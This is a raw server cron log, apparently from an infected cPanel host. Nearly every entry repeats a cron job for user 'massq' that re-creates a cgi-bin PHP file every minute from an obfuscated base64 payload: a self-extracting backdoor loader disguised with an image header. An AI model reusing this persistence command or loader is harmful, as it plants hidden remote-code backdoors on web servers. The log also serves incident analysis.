Nov 11 17:40:01 server CROND[10791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:41:01 server CROND[11794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:42:01 server CROND[12622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:42:01 server CROND[12623]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 17:43:01 server CROND[13501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:44:01 server CROND[14314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:45:01 server CROND[15126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:45:01 server CROND[15128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:45:01 server CROND[15129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:46:01 server CROND[16004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:47:01 server CROND[16489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:48:01 server CROND[17184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:49:01 server CROND[18027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:50:01 server CROND[18785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:50:01 server CROND[18786]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:50:01 server CROND[18788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 17:50:01 server CROND[18787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:50:01 server CROND[18789]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 17:51:01 server CROND[19102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:52:01 server CROND[19914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:53:01 server CROND[20826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 